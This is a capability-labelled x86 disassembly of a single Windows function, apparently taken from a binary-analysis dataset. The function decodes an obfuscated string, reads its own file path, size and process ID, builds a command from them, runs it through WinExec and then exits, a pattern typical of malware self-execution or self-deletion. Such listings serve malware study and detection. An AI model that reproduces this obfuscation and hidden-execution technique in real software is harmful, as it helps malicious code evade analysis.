Function at 0x4493f0
Capabilities:
Create process on windows
Get file size
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x20
mov esi, esp
jmp 0x449400
cmp dword [0x47884c], 0
sete al
test al, 1
jne 0x449413
jmp 0x44a416
mov al, byte [0x477700]
mov cl, al
xor cl, 0xbc
xor cl, 0xff
and cl, 0xbc
shl cl, 1
sub cl, 0xbc
sub al, cl
mov byte [0x477770], al
mov ch, byte [0x477701]
mov cl, ch
xor cl, 0x30
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
and cl, 0xff
or cl, 0xcf
add cl, 0x31
mov dl, cl
and dl, 0xfd
mov al, cl
xor al, 0xff
and al, 2
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
add al, 0xa
sub al, 0x30
sub al, 0xa
mov cl, ch
xor cl, 0xff
and cl, al
xor al, 0xff
and ch, al
sub ch, cl
mov byte [0x477771], ch
mov al, byte [0x477702]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
or cl, dl
xor cl, 0xff
or cl, 0x7b
xor al, 0xff
or al, 0x84
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x477772], cl
mov cl, byte [0x477703]
mov al, cl
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
mov dl, al
xor dl, 0xde
xor dl, 0xff
or al, 0xde
and al, dl
and cl, 0x21
mov dl, cl
and dl, al
xor dl, 0xff
add al, cl
add al, 1
add al, dl
mov byte [0x477773], al
mov al, byte [0x477704]
xor al, 0x7a
mov byte [0x477774], al
mov cl, byte [0x477705]
mov al, cl
xor al, 0xff
xor al, 0xff
or al, 0xf
xor al, 0xff
and al, 0xff
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xf
mov dl, al
and dl, cl
xor al, cl
or dl, al
xor dl, 0x9a
mov byte [0x477775], dl
mov al, byte [0x477706]
xor al, 0x84
mov byte [0x477776], al
mov cl, byte [0x477707]
mov al, cl
or al, al
xor al, 0xff
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
and al, 0x89
xor cl, 0xff
and cl, 0x76
and al, al
xor al, 0xff
and cl, cl
xor cl, 0xff
xor al, 0xff
xor cl, 0xff
or al, cl
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
mov byte [0x477777], al
mov al, byte [0x477708]
mov cl, al
and cl, 0xff
shl cl, 1
mov dl, al
add dl, 0xff
sub dl, cl
mov cl, al
and cl, 0xff
shl cl, 1
mov ah, al
add ah, 0xff
sub ah, cl
or dl, ah
xor dl, 0xff
mov ah, dl
xor ah, 0xff
mov cl, ah
and cl, 0x1a
and dl, 0xe5
or cl, dl
xor cl, 0x5a
or ah, 0xbf
xor ah, 0xff
and ah, 0xff
or cl, ah
mov dl, al
xor dl, 0xff
xor al, 0xff
and dl, al
or dl, 0
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0xbf
mov al, cl
xor al, 0xff
and al, 0x4a
and cl, 0xb5
or al, cl
xor al, 0xb5
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
xor cl, 0xff
and cl, 0xff
or cl, 0
xor cl, 0xff
or al, cl
mov byte [0x477778], al
mov al, byte [0x477709]
mov cl, al
xor cl, 0x7e
xor cl, 0xff
and cl, 0x7e
shl cl, 1
mov dl, cl
xor dl, 0xff
and dl, 0x7e
and cl, 0x81
sub cl, dl
sub al, cl
mov byte [0x477779], al
mov al, byte [0x47770a]
mov dl, al
and dl, 0xe0
shl dl, 1
mov cl, al
add cl, 0xe0
sub cl, dl
mov dl, cl
and dl, 0xff
shl dl, 1
add cl, 0xff
sub cl, dl
and cl, 0xe0
shl cl, 1
sub cl, 0x2d
sub cl, 0xe0
add cl, 0x2d
sub al, cl
mov byte [0x47777a], al
mov cl, byte [0x47770b]
mov al, cl
xor al, 0xff
and al, 0xff
or al, 0
mov dl, cl
xor dl, 0xff
or al, dl
and al, 0xe
mov dl, al
and dl, 0xff
shl dl, 1
add al, 0xff
sub al, dl
and cl, 0xf1
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
and al, dl
xor al, 0xff
mov byte [0x47777b], al
mov cl, byte [0x47770c]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, al
xor al, 0xff
mov ah, dl
xor ah, 0xff
xor dl, 0xff
and ah, dl
xor al, 0xff
xor ah, 0xff
and al, ah
or al, 0xc0
xor al, 0xff
and al, 0xff
or al, 0
xor cl, 0xff
mov dl, cl
and dl, 0xc0
xor dl, 0xff
xor cl, 0xff
or cl, 0x3f
and dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
mov byte [0x47777c], al
mov al, byte [0x47770d]
mov cl, al
and cl, cl
mov dl, al
xor dl, dl
or cl, dl
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
mov cl, dl
and cl, 0x9e
mov ah, dl
xor ah, 0x61
add dl, ah
sub dl, cl
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
and cl, 0xff
mov dl, al
xor dl, 0xff
and dl, 0x10
and al, 0xef
or dl, al
xor dl, 0xef
and dl, 0x61
mov al, cl
xor al, 0xff
mov ch, dl
xor ch, 0xff
mov ah, al
and ah, 0x1a
and cl, 0xe5
mov dh, ch
and dh, 0x1a
and dl, 0xe5
or ah, cl
or dh, dl
xor ah, dh
or al, ch
xor al, 0xff
and al, 0xff
or ah, al
xor ah, 0xff
mov byte [0x47777d], ah
mov al, byte [0x47770e]
mov cl, al
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 0x2a
xor al, 0xff
or al, 0xd5
and cl, al
xor cl, 0xff
mov byte [0x47777e], cl
mov al, byte [0x47770f]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0x8f
or al, 0x8f
xor al, 0xff
or cl, al
xor cl, 0xff
mov byte [0x47777f], cl
mov al, byte [0x477710]
xor al, 0xac
mov byte [0x477780], al
mov al, byte [0x477711]
xor al, 0xd0
mov byte [str.qya], al
mov al, byte [0x477712]
mov cl, al
and cl, 0xbe
shl cl, 1
add al, 0xbe
sub al, cl
mov byte [0x477782], al
mov al, byte [0x477713]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xaa
shl cl, 1
add al, 0xaa
sub al, cl
mov byte [0x477783], al
mov al, byte [0x477714]
mov ah, al
xor ah, 0xff
mov cl, al
xor cl, 0xff
and ah, cl
mov dl, ah
xor dl, 0xff
mov cl, dl
and cl, 0x5a
and ah, 0xa5
or cl, ah
xor cl, 0xce
or dl, 0x6b
xor dl, 0xff
and dl, 0xff
or cl, dl
xor cl, 0xff
or al, 0x6b
xor al, 0xff
xor cl, 0xff
xor al, 0xff
and cl, al
mov byte [0x477784], cl
mov cl, byte [0x477715]
mov al, cl
and al, al
mov dl, al
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
sub al, dl
xor al, 0xff
and al, 0xff
or al, 0
or al, 0x94
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
or dl, 0
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0x6b
and al, dl
xor al, 0xff
mov byte [0x477785], al
mov cl, byte [0x477716]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0xd7
or cl, 0xd7
xor cl, 0xff
or al, cl
xor al, 0xff
mov byte [0x477786], al
mov al, byte [0x477717]
mov cl, al
xor cl, 0xff
and cl, 0x68
and al, 0x97
or cl, al
mov byte [0x477787], cl
mov al, byte [0x477718]
mov ah, al
xor ah, 0xff
mov cl, al
xor cl, 0xff
or ah, cl
xor ah, 0xff
mov dl, ah
xor dl, 0xff
mov cl, dl
and cl, 0xf0
and ah, 0xf
or cl, ah
xor cl, 0x60
or dl, 0x6f
xor dl, 0xff
and dl, 0xff
or cl, dl
xor al, 0xff
or al, 0x6f
xor cl, 0xff
xor al, 0xff
mov dl, cl
xor dl, 0xff
mov ch, al
xor ch, 0xff
mov ah, dl
and ah, 0x7d
and cl, 0x82
mov dh, ch
and dh, 0x7d
and al, 0x82
or ah, cl
or dh, al
xor ah, dh
or dl, ch
xor dl, 0xff
and dl, 0xff
or ah, dl
mov byte [0x477788], ah
mov cl, byte [0x477719]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
and al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
xor al, 0xff
xor al, 0x64
and al, 0x64
mov dl, cl
add dl, 1
xor cl, 0xff
or cl, 0x9b
add cl, dl
mov dl, cl
xor dl, 0xff
mov ah, al
and ah, dl
mov dl, al
xor dl, cl
add al, dl
sub al, ah
mov byte [0x477789], al
mov al, byte [0x47771a]
xor al, 0
mov byte [0x47778a], al
mov al, byte [0x47771b]
xor al, 0xb3
mov byte [0x47778b], al
mov al, byte [0x47771c]
xor al, 0x14
mov byte [0x47778c], al
mov al, byte [0x47771d]
mov cl, al
and cl, 0xa8
shl cl, 1
add al, 0xa8
xor edx, edx
sub dl, cl
add al, dl
mov byte [0x47778d], al
mov al, byte [0x47771e]
mov cl, al
and cl, 0x29
shl cl, 1
add al, 0x29
sub al, cl
mov byte [0x47778e], al
mov al, byte [0x47771f]
xor al, 0x27
mov byte [0x47778f], al
mov cl, byte [0x477720]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
mov dl, al
and dl, 0x8e
xor dl, 0xff
add al, 0x8e
add al, 1
add al, dl
xor al, 0xff
xor cl, 0xff
and cl, 0x8e
mov dl, cl
xor dl, 0xff
mov ah, al
and ah, dl
mov dl, al
xor dl, cl
add al, dl
sub al, ah
xor al, 0xff
mov byte [0x477790], al
mov cl, byte [0x477721]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and dl, 0xff
or dl, 0
or al, dl
xor al, 0xff
mov dl, al
and dl, 0x3a
xor dl, 0xff
add al, 0x3a
add al, 1
add al, dl
and cl, 0x3a
mov dl, cl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
sub cl, dl
and al, cl
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov byte [0x477791], al
mov al, byte [0x477722]
mov dl, al
xor dl, 0xff
and dl, 0xff
or dl, 0
mov cl, al
xor cl, 0xff
and cl, 0x4f
mov ah, al
and ah, 0xb0
or cl, ah
xor cl, 0xb0
or dl, cl
mov cl, dl
xor cl, 0x68
and cl, dl
xor cl, 0xff
and al, 0x68
mov dl, al
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
sub al, dl
and cl, al
mov al, cl
xor al, 0xff
xor al, 0xff
and al, 0xff
shl al, 1
sub al, 0xff
sub cl, al
mov byte [0x477792], cl
mov al, byte [0x477723]
mov cl, al
xor cl, 0xff
and cl, 0xae
and al, 0x51
or cl, al
mov byte [0x477793], cl
mov cl, byte [0x477724]
mov al, cl
xor al, 0xff
xor al, 0xff
or al, 0xe4
xor al, 0xff
and al, 0xff
mov dl, cl
add dl, 1
xor cl, 0xff
or cl, 0xe4
add cl, dl
or al, cl
xor al, 2
mov byte [0x477794], al
mov al, byte [0x477725]
mov cl, al
and cl, 0x6a
shl cl, 1
add al, 0x6a
sub al, cl
mov byte [0x477795], al
mov al, byte [0x477726]
xor al, 0xfe
mov byte [0x477796], al
mov al, byte [0x477727]
xor al, 0x93
mov byte [0x477797], al
mov cl, byte [0x477728]
mov dl, cl
and dl, 0x93
shl dl, 1
xor eax, eax
sub al, cl
add al, 0x6d
xor ecx, ecx
sub cl, al
sub cl, dl
mov byte [0x477798], cl
mov al, byte [0x477729]
xor al, 0xef
mov byte [0x477799], al
mov al, byte [0x47772a]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0x6a
xor cl, 0xff
xor al, 0xff
or al, 0x6a
and cl, al
xor cl, 0xff
mov byte [0x47779a], cl
mov al, byte [0x47772b]
mov cl, al
xor cl, cl
xor cl, 0xff
mov dl, al
or dl, dl
and dl, cl
xor dl, 0xff
and dl, 0xff
or dl, 0
xor dl, 0xff
mov cl, dl
or cl, 0xd1
xor cl, 0xff
xor dl, 0xff
and dl, 0x2e
xor cl, 0xff
xor dl, 0xff
and cl, dl
xor al, 0xff
mov dl, al
xor dl, 0xff
xor al, 0xff
or dl, al
xor dl, 0xff
or dl, 0x2e
and cl, dl
mov al, cl
and al, 0xff
shl al, 1
add cl, 0xff
sub cl, al
mov byte [0x47779b], cl
mov al, byte [0x47772c]
mov dl, al
xor dl, 0xff
mov ah, al
xor ah, 0xff
mov cl, dl
xor cl, 0xff
mov ch, ah
xor ch, 0xff
or cl, ch
xor dl, 0xff
xor ah, 0xff
or dl, ah
and cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0x96
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
xor al, 0xff
and al, 0xff
or al, al
xor al, 0xff
xor al, 0xff
and al, 0x69
xor cl, 0xff
mov dl, al
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
sub al, dl
and cl, al
mov byte [0x47779c], cl
mov al, byte [0x47772d]
mov cl, al
or cl, cl
xor cl, 0xff
or cl, 0x6e
xor cl, 0xff
xor al, 0xff
and al, 0x6e
xor cl, 0xff
xor al, 0xff
and cl, al
mov byte [0x47779d], cl
mov al, byte [0x47772e]
mov cl, al
and cl, 0xb6
shl cl, 1
add al, 0xb6
sub al, cl
mov byte [0x47779e], al
mov al, byte [0x47772f]
xor al, 0xc
mov byte [0x47779f], al
mov cl, byte [0x477730]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
mov dl, cl
and dl, dl
xor dl, 0xff
and al, dl
xor al, 0xff
xor al, 0xff
or al, 0x23
and al, al
xor al, 0xff
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0xdc
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
xor cl, 0xff
and cl, 0xff
or cl, 0
xor cl, 0xff
mov dl, al
and dl, cl
xor al, cl
or dl, al
xor dl, 0xff
mov byte [str.Y_n4], dl
mov al, byte [0x477731]
xor al, 0xcb
mov byte [0x4777a1], al
mov al, byte [0x477732]
xor al, 0xe2
mov byte [0x4777a2], al
mov al, byte [0x477733]
mov cl, al
xor cl, 0xff
mov dl, al
and dl, cl
mov ah, al
xor ah, ah
mov cl, al
add cl, ah
sub cl, dl
mov dl, cl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
sub cl, dl
or cl, 0xcf
xor cl, 0xff
or al, 0x30
xor al, 0xff
mov dl, al
xor dl, 0xff
mov ah, cl
and ah, dl
mov dl, cl
xor dl, al
add cl, dl
sub cl, ah
xor cl, 0xff
mov byte [0x4777a3], cl
mov al, byte [0x477734]
mov cl, al
xor cl, 0xff
and cl, 0xc
and al, 0xf3
or cl, al
xor cl, 0xb2
mov byte [0x4777a4], cl
mov al, byte [0x477735]
mov cl, al
and cl, 0x6a
shl cl, 1
add al, 0x6a
sub al, cl
mov byte [0x4777a5], al
mov al, byte [0x477736]
mov cl, al
and cl, 0x66
shl cl, 1
add al, 0x66
sub al, cl
mov byte [0x4777a6], al
mov al, byte [0x477737]
mov cl, al
xor cl, 0xff
and cl, 0xb9
and al, 0x46
or cl, al
mov byte [0x4777a7], cl
mov cl, byte [0x477738]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
or al, 0
xor al, 0xff
xor al, 0xff
and al, 0xff
mov dl, al
xor dl, 0xdb
xor dl, 0xff
or al, 0xdb
and al, dl
and cl, 0x24
mov dl, cl
and dl, al
xor dl, 0xff
add al, cl
add al, 1
add al, dl
xor al, 0x73
mov byte [0x4777a8], al
mov al, byte [0x477739]
mov cl, al
and cl, 0xf3
shl cl, 1
add al, 0xf3
sub al, cl
mov byte [str._Y], al
mov al, byte [0x47773a]
xor al, 0xe6
mov byte [0x4777aa], al
mov al, byte [0x47773b]
xor al, 0x17
mov byte [0x4777ab], al
mov al, byte [0x47773c]
mov cl, al
xor cl, 0x83
xor cl, 0xff
and cl, 0x83
shl cl, 1
sub cl, 0x83
sub al, cl
mov byte [0x4777ac], al
mov al, byte [0x47773d]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
or cl, dl
and cl, 0xec
xor cl, 0xff
and al, 0x13
xor al, 0xff
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x4777ad], cl
mov cl, byte [0x47773e]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
mov ah, dl
xor ah, 0xff
mov ch, al
and ch, ah
mov ah, al
xor ah, dl
add al, ah
sub al, ch
and al, 0x21
mov dl, al
and dl, 0xff
shl dl, 1
add al, 0xff
sub al, dl
and cl, 0xde
xor cl, 0xff
mov dl, al
add dl, 1
xor al, 0xff
or al, cl
add al, dl
xor al, 0xff
mov byte [0x4777ae], al
mov al, byte [0x47773f]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 2
xor al, 0xff
and al, 0xfd
or cl, al
xor cl, 0xff
mov byte [0x4777af], cl
mov al, byte [0x477740]
mov cl, al
and cl, 0x77
shl cl, 1
add al, 0x77
xor edx, edx
sub dl, cl
add al, dl
mov byte [0x4777b0], al
mov al, byte [0x477741]
mov cl, al
and cl, 0x22
shl cl, 1
add al, 0x22
sub al, cl
mov byte [0x4777b1], al
mov ch, byte [0x477742]
mov cl, ch
xor cl, 0xb7
xor cl, 0xff
and cl, 0xb7
mov dl, cl
and dl, 0xfd
mov al, cl
xor al, 0xff
and al, 2
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
sub al, 0xb7
sub ch, al
mov byte [0x4777b2], ch
mov cl, byte [0x477743]
mov al, cl
xor al, 0xff
and al, 0xff
or al, 0
or al, al
xor al, 0xff
or al, 0xd
xor al, 0xff
mov dl, cl
add dl, 1
xor cl, 0xff
or cl, 0xd
add cl, dl
or al, cl
xor al, 0x94
mov byte [0x4777b3], al
mov al, byte [0x477744]
xor al, 0x3e
mov byte [0x4777b4], al
mov al, byte [0x477745]
mov cl, al
xor cl, 0x5a
xor cl, 0xff
and cl, 0x5a
shl cl, 1
sub cl, 0x5a
sub al, cl
mov byte [0x4777b5], al
mov al, byte [0x477746]
mov cl, al
xor cl, 0xff
and cl, 0x25
and al, 0xda
or cl, al
xor cl, 0xd1
mov byte [0x4777b6], cl
mov al, byte [0x477747]
mov cl, al
and cl, cl
mov dl, cl
xor dl, 0xff
xor cl, 0xff
and dl, cl
or dl, 0
xor dl, 0xff
or dl, 0
xor dl, 0xff
xor dl, 0xff
mov cl, dl
and cl, 0xe
xor dl, 0xe
or cl, dl
xor al, 0xff
mov dl, al
xor dl, 0xff
and dl, 0xe
or al, 0xf1
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
and cl, dl
xor cl, 0xff
mov byte [0x4777b7], cl
mov cl, byte [0x477748]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0xca
and cl, 0xca
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x4777b8], al
mov al, byte [0x477749]
xor al, 0xfd
mov byte [0x4777b9], al
mov cl, byte [0x47774a]
mov dl, cl
xor dl, 0xff
mov al, cl
xor al, 0xff
mov ah, al
and ah, dl
xor ah, 0xff
add dl, al
add dl, 1
add dl, ah
mov al, dl
xor al, 0x9d
and al, dl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and dl, 0x13
and cl, 0xec
or dl, cl
xor dl, 0xec
or dl, 0x62
xor al, 0xff
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0
xor dl, 0xff
or al, dl
mov byte [0x4777ba], al
mov al, byte [0x47774b]
mov cl, al
and cl, 0x87
shl cl, 1
add al, 0x87
sub al, cl
mov byte [0x4777bb], al
mov al, byte [0x47774c]
xor al, 0x8e
mov byte [0x4777bc], al
mov ch, byte [0x47774d]
mov cl, ch
and cl, 0x82
mov al, cl
xor al, 0xff
mov dl, al
and dl, 2
or al, 2
xor al, 0xff
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
add ch, 0x82
xor al, 0xff
add ch, al
add ch, 1
mov byte [0x4777bd], ch
mov al, byte [0x47774e]
xor al, 5
mov byte [0x4777be], al
mov cl, byte [0x47774f]
mov dl, cl
and dl, 0xff
shl dl, 1
mov al, cl
add al, 0xff
sub al, dl
or al, 0xc9
add al, 0x37
mov dl, cl
xor dl, 0xc9
xor dl, 0xff
or cl, 0xc9
and cl, dl
or al, cl
mov cl, al
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 0x61
and al, 0x61
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x4777bf], cl
mov al, byte [0x477750]
xor al, 0xde
mov byte [0x4777c0], al
mov al, byte [0x477751]
xor al, 0x6d
mov byte [0x4777c1], al
mov al, byte [0x477752]
mov cl, al
and cl, 0x3b
shl cl, 1
add al, 0x3b
sub al, 0x3d
sub al, cl
add al, 0x3d
mov byte [0x4777c2], al
mov cl, byte [0x477753]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0x3d
xor cl, 0xff
or cl, 0xc2
and al, cl
xor al, 0xff
mov byte [0x4777c3], al
mov al, byte [0x477754]
xor al, 0xf8
mov byte [0x4777c4], al
mov al, byte [0x477755]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
or cl, dl
xor cl, 0xff
or cl, 0xf8
and al, 0xf8
xor al, 0xff
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x4777c5], cl
mov dl, byte [0x477756]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
xor al, 0xff
and al, 0xf3
mov cl, dl
xor cl, 0xff
and cl, 0x38
and dl, 0xc7
or cl, dl
xor cl, 0xc7
and cl, 0xc
xor al, 0xff
xor cl, 0xff
mov dl, al
add dl, 1
xor al, 0xff
or al, cl
add al, dl
mov byte [0x4777c6], al
mov al, byte [0x477757]
xor al, 0x9a
mov byte [0x4777c7], al
mov al, byte [0x477758]
xor al, 0x87
mov byte [0x4777c8], al
mov ch, byte [0x477759]
mov cl, ch
xor cl, 0xff
mov al, ch
xor al, 0xff
and cl, al
xor cl, 0xff
and cl, 0x62
mov dl, cl
and dl, 0xfd
mov al, cl
xor al, 0xff
and al, 2
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
add ch, 0x62
mov cl, ch
xor cl, al
xor al, 0xff
and ch, al
shl ch, 1
sub ch, cl
mov byte [0x4777c9], ch
mov al, byte [0x47775a]
xor al, 0x95
mov byte [0x4777ca], al
mov cl, byte [0x47775b]
mov al, cl
and al, al
xor al, 0xff
mov dl, cl
xor dl, 0xff
mov ah, cl
xor ah, 0xff
or dl, ah
and al, dl
xor al, 0xff
xor al, 0xff
xor al, 0xff
mov dl, al
add dl, 1
xor al, 0xff
or al, 0xe6
add al, dl
xor cl, 0xff
mov dl, cl
xor dl, 0xe6
and dl, cl
and al, al
xor al, 0xff
and dl, dl
xor dl, 0xff
and al, dl
xor al, 0xff
xor al, 0xff
mov byte [0x4777cb], al
mov cl, byte [0x47775c]
mov al, cl
xor al, 0xff
or al, al
xor al, 0xff
or al, 0x14
xor al, 0xff
mov dl, cl
xor dl, 0xeb
and dl, cl
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
mov byte [0x4777cc], al
mov al, byte [0x47775d]
xor al, 0xee
mov byte [0x4777cd], al
mov al, byte [0x47775e]
xor al, 0x1d
mov byte [0x4777ce], al
mov al, byte [0x47775f]
xor al, 0xe0
mov byte [0x4777cf], al
mov al, byte [0x477760]
mov cl, al
xor cl, 0xbb
xor cl, 0xff
and cl, 0xbb
shl cl, 1
sub cl, 0xbb
mov dl, al
sub dl, cl
xor dl, 0xff
and dl, 0xbb
shl dl, 1
add dl, 0x45
sub al, dl
mov byte [0x4777d0], al
mov al, byte [0x477761]
xor al, 0xc7
mov byte [0x4777d1], al
mov cl, byte [0x477762]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
mov dl, al
and dl, 0xfe
xor dl, 0xff
add al, 0xfe
add al, 1
add al, dl
and cl, 0xfe
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x4777d2], al
mov ch, byte [0x477763]
mov cl, ch
and cl, 0x69
mov dl, cl
and dl, 0xfd
mov al, cl
xor al, 0xff
and al, 2
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
sub ch, 0x30
add ch, 0x69
add ch, 0x30
add ch, 0xfd
sub ch, al
sub ch, 0xfd
mov byte [0x4777d3], ch
mov al, byte [0x477764]
xor al, 0xbb
mov byte [0x4777d4], al
mov cl, byte [0x477765]
mov al, cl
xor al, 0xff
xor al, 0xff
or al, 0x1f
xor al, 0xff
and al, 0xff
and cl, 0x1f
mov dl, cl
xor dl, 0xff
mov ah, al
and ah, dl
mov dl, al
xor dl, cl
add al, dl
sub al, ah
mov byte [0x4777d5], al
mov al, byte [0x477766]
mov cl, al
and cl, 0x86
shl cl, 1
add al, 0x86
sub al, cl
mov byte [0x4777d6], al
mov cl, byte [0x477767]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
and al, 0xb9
and cl, 0x46
mov dl, cl
and dl, al
xor dl, 0xff
add al, cl
add al, 1
add al, dl
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xc
or al, 0xc
xor al, 0xff
or cl, al
xor cl, 0xff
mov byte [0x4777d7], cl
jmp 0x44a418
mov dword [0x47884c], 1
push eax
sub esp, 0x7fc
mov dword [esi + 0x14], esp
sub esp, 0x200
mov dword [esi + 8], esp
push eax
mov ebx, esp
push eax
mov dword [esi + 4], esp
sub esp, 8
mov edi, esp
and edi, 0xfffffff8
mov esp, edi
push eax
mov dword [esi + 0x10], esp
sub esp, 0x68
mov dword [esi + 0xc], esp
sub esp, 4
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call eax
mov dword [ebx], eax
mov eax, dword [ebx]
sub esp, 0xc
mov ebx, dword [esi + 8]
mov dword [esp + 4], ebx
mov dword [esp], eax
mov dword [esp + 8], 0x200
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0x1c
mov dword [esp], ebx
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 7
mov dword [esp + 4], 0x80000000
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
mov ecx, dword [esi + 4]
mov dword [ecx], eax
mov eax, dword [ecx]
sub esp, 8
mov dword [esp + 4], edi
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
call eax
mov ecx, dword [edi]
mov eax, dword [edi + 4]
add ecx, 0xc48d3835
adc eax, 0x58c0a7c5
mov edx, ecx
not edx
and edx, 1
and ecx, 0xfffffffe
sub ecx, edx
sbb eax, 0
mov edx, eax
and edx, 0xa73f583a
mov ebx, ecx
and ebx, 0x3b72c7cb
or eax, 0xa73f583a
or ecx, 0x3b72c7cb
add ebx, ecx
adc edx, eax
mov dword [edi], ebx
mov dword [edi + 4], edx
mov eax, dword [esi + 4]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, dword [esi + 0x10]
mov dword [ecx], eax
lea eax, [0x477770]
sub esp, 0xc
mov ebx, dword [esi + 0xc]
mov dword [esp], ebx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x68
call fcn.004521d0
add esp, 0xc
mov eax, dword [edi]
sub esp, 0x18
mov edi, dword [esi + 0x14]
mov dword [esp], edi
mov dword [esp + 4], 0x800
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov eax, dword [esi + 8]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
call fcn.0044a5b0
add esp, 0x18
xor eax, eax
sub esp, 8
mov dword [esp], edi
mov dword [esp + 4], 0
call dword [sym.imp.KERNEL32.dll_WinExec]
xor eax, eax
sub esp, 4
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]